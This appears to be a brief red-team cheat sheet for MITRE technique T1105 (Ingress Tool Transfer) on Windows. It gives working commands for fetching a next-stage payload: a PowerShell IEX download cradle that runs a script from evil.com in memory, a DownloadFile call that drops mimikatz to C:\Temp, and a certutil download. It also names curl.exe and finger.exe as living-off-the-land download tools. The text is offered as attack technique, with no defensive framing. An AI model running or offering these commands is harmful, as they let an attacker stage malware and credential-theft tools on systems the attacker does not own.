Ingress Tool Transfer

Ingress Tool Transfer (T1105)

Fetching the next stage.

1. PowerShell DownloadCradle

IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')

Note: This executes in memory. To drop to disk:

(New-Object Net.WebClient).DownloadFile('http://evil.com/mimikatz.exe', 'C:\Temp\mimi.exe')

2. Certutil (Again)

Useful for both lateral and ingress. certutil -urlcache -split -f http://evil.com/tool.exe

3. Living off the Land Binaries (LOLBins)

  • Curl.exe: Native in Windows 10+.
  • Finger.exe: Can download files via Gopher protocol (obscure).